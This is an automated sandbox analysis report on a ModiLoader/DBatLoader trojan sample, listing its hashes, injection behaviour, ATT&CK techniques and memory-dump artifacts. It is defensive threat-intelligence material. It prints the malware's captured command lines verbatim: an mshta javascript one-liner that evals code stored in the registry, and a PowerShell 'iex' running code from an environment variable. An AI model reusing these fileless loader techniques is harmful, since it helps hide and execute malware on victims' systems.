modiloader | c8a0a8bce7a0ea50386666600c2ce4c90e23adc02b921bcd74606f921de8fdda

General

Target

13e5decc722a39965a15f47bc3fabb44.exe
Size

268KB
MD5

13e5decc722a39965a15f47bc3fabb44
SHA1

586ee85719397ae5548dbd724b92471ff62d5091
SHA256

c8a0a8bce7a0ea50386666600c2ce4c90e23adc02b921bcd74606f921de8fdda
SHA512

792187eddbf8527eabb19cb511cce6451cd5d19e1f09d146e9bfe10776ee934929db590d9e726f7a38861837b8e53e654926bc8aeccb837e21dd346e73b1a694

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4428 532 mshta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4428	532	mshta.exe

ModiLoader Second Stage 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1224-132-0x0000000000000000-mapping.dmp	modiloader_stage2
behavioral2/memory/1224-133-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/1224-138-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/1224-139-0x0000000000B70000-0x0000000000C32000-memory.dmp	modiloader_stage2
behavioral2/memory/1224-148-0x0000000000B70000-0x0000000000C32000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation mshta.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

13e5decc722a39965a15f47bc3fabb44.exe

description pid process target process

PID 4924 set thread context of 1224 4924 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4656 powershell.exe
4656 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4656 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

13e5decc722a39965a15f47bc3fabb44.exe

pid process

4924 13e5decc722a39965a15f47bc3fabb44.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	mshta.exe

description	pid	process	target process
PID 4924 set thread context of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe

pid	process
4656	powershell.exe
4656	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4656	powershell.exe

pid	process
4924	13e5decc722a39965a15f47bc3fabb44.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

13e5decc722a39965a15f47bc3fabb44.exemshta.exe

description	pid	process	target process
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4924 wrote to memory of 1224	4924	13e5decc722a39965a15f47bc3fabb44.exe	13e5decc722a39965a15f47bc3fabb44.exe
PID 4428 wrote to memory of 4656	4428	mshta.exe	powershell.exe
PID 4428 wrote to memory of 4656	4428	mshta.exe	powershell.exe
PID 4428 wrote to memory of 4656	4428	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe
"C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4924

C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe
"C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe"
2⤵
PID:1224

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:uLyZUQQP78="ZDMC8hh";r9I=new%20ActiveXObject("WScript.Shell");JMc2YyF="N7I3TKG";Ci7m7Q=r9I.RegRead("HKLM\\software\\Wow6432Node\\tPEXGt\\Zv2K5qtJ6");OhumD1WB="IBYQOy";eval(Ci7m7Q);n0Rv1EKh="G";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:hurjtbcv
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1224-132-0x0000000000000000-mapping.dmp

Download
memory/1224-133-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1224-138-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1224-139-0x0000000000B70000-0x0000000000C32000-memory.dmp

Filesize
776KB

Download
memory/1224-148-0x0000000000B70000-0x0000000000C32000-memory.dmp

Filesize
776KB

Download
memory/4656-143-0x00000000059C0000-0x0000000005FE8000-memory.dmp

Filesize
6.2MB

Download
memory/4656-142-0x00000000051D0000-0x0000000005206000-memory.dmp

Filesize
216KB

Download
memory/4656-144-0x00000000057E0000-0x0000000005802000-memory.dmp

Filesize
136KB

Download
memory/4656-145-0x0000000005940000-0x00000000059A6000-memory.dmp

Filesize
408KB

Download
memory/4656-146-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/4656-147-0x0000000006570000-0x000000000658E000-memory.dmp

Filesize
120KB

Download
memory/4656-141-0x0000000000000000-mapping.dmp

Download
memory/4656-149-0x0000000007E10000-0x000000000848A000-memory.dmp

Filesize
6.5MB

Download
memory/4656-150-0x0000000006A80000-0x0000000006A9A000-memory.dmp

Filesize
104KB

Download

Analysis

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